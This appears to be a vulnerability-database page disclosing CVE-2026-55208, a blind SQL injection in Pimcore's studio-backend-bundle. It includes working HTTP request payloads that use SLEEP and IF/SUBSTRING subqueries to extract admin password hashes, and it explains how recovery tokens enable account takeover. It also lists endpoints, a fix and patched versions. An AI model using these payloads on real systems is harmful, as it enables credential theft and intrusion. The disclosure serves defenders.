Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

CVE-2026-55208 — studio-backend-bundle

HIGHFix: pimcore/studio-backend-bundle@f532428

CVE-2026-55208 is a high-severity (CVSS 7.7) SQL Injection vulnerability in pimcore/studio-backend-bundle. A fix is available for pimcore/studio-backend-bundle — see the affected versions and patch details below.

Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes

Also known asGHSA-79cw-hfcc-7mw9
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Oct 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-55208.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs34th percentile — riskier than 34% of all scored CVEsHighest risk
0.00%0.30%0.61%0.91%0.2%0.4%0.4%0.4%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-55208 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,987 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

2 pkgs affected
🐘pimcore/studio-backend-bundle🐘pimcore/studio-backend-bundle

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.

Vulnerability Details

Exploitable: DateFilter with Fixed Named Parameters

src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:

$key = $column->getKey();  // user-controlled, no validation
$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';
$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);

Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.

Same Pattern in Note FilterService

src/Note/Service/FilterService.php lines 64-67:

$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';
$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);

No Validation on Column Key

src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.

Why Backtick Wrapping is Not Escaping

Manual backtick wrapping ('`' . $key . '`') does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:

Input: key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "

Produces:

(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)

Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.

Contrast with Safe Patterns in the Same Codebase

  • LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe)
  • ClassificationStore/Configuration/KeyRepository.php: uses ALLOWED_SORT_KEYS allowlist (safe)

Note on EqualsFilter/LikeFilter

The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9_], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.

Step 1: Baseline request (no injection)

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10}

Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds

<img width="1666" height="616" alt="image" src="https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368" />

Step 2: Unconditional SLEEP(3) injection

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds

<img width="1631" height="898" alt="image" src="https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97" /> <img width="1920" height="625" alt="image" src="https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094" />

The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:

SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50

Step 3: Conditional SLEEP proving data extraction (TRUE case)

This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)

<img width="1611" height="706" alt="image" src="https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85" /> <img width="1917" height="570" alt="image" src="https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f" />

Step 4: Conditional SLEEP (FALSE case, wrong guess)

Same query but testing for XXXX (hex 0x58585858) instead:

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)

<img width="1920" height="496" alt="image" src="https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f" />

Timing comparison

RequestPayloadResponse TimeMeaning
BaselineNo injection0.07sNormal
Unconditional SLEEPAND SLEEP(3)6.07sInjection confirmed
Conditional TRUEIF(password starts with $2y$, SLEEP(3), 0)6.07sData extracted: hash is bcrypt
Conditional FALSEIF(password starts with XXXX, SLEEP(3), 0)0.07sControl: no match, no delay

By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.

Impact

An authenticated user with website_settings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.

Directly extractable high-value data:

  • Admin password hashes (users.password) for offline cracking
  • Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token
  • Session data for session hijacking
  • All PIM product data, CMS content, and asset metadata

Affected Endpoints

All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:

  • POST /pimcore-studio/api/website-settings
  • POST /pimcore-studio/api/notifications
  • POST /pimcore-studio/api/recycle-bin
  • POST /pimcore-studio/api/redirects
  • POST /pimcore-studio/api/translations/{domain}
  • POST /pimcore-studio/api/quantity-value/units
  • POST /pimcore-studio/api/properties
  • POST /pimcore-studio/api/classification-store/{storeId}/keys
  • POST /pimcore-studio/api/classification-store/{storeId}/groups
  • POST /pimcore-studio/api/classification-store/{storeId}/collections
  • GET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)

Recommended Fix

Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:

// Option 1: quoteIdentifier (doubles internal backticks)
$db = \Pimcore\Db::get();
$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';

// Option 2: allowlist (preferred)
private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];
if (!in_array($key, self::ALLOWED_COLUMNS, true)) {
    throw new InvalidArgumentException('Invalid filter column');
}

Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.

Supporting Materials

  • Live-tested on Pimcore 12.x (2026.x branch, commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11
  • MySQL general query log confirms injected SQL reaches the database
  • The safe pattern (quoteIdentifier()) exists in the same codebase in LogRepository.php line 202
  • Package: pimcore/studio-backend-bundle

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistpimcore/studio-backend-bundleall versions2025.4.6composer require pimcore/studio-backend-bundle:^2025.4.6
🐘Packagistpimcore/studio-backend-bundle≥ 2026.1.0&&< 2026.1.62026.1.6composer require pimcore/studio-backend-bundle:^2026.1.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pimcore/studio-backend-bundle, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pimcore/studio-backend-bundle to 2025.4.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55208 is resolved across your whole dependency graph.

  3. Workarounds

    Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.

Frequently Asked Questions

## Summary An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the `DateFilter` column key parameter. The `POST /pimcore-studio/api/website-settings` endpoint (and 11 other listing endpoints) accepts a `columnFilters` array where the `key` field is interpolated directly into SQL with only manual backtick wrapping. The `DateFilter` uses fixed named parameters (`:minTime`, `:maxTime`), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a ba
O3 Security · Impact-Aware SCA

Is CVE-2026-55208 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-55208: studio-backend — Fixed in 2025.4.6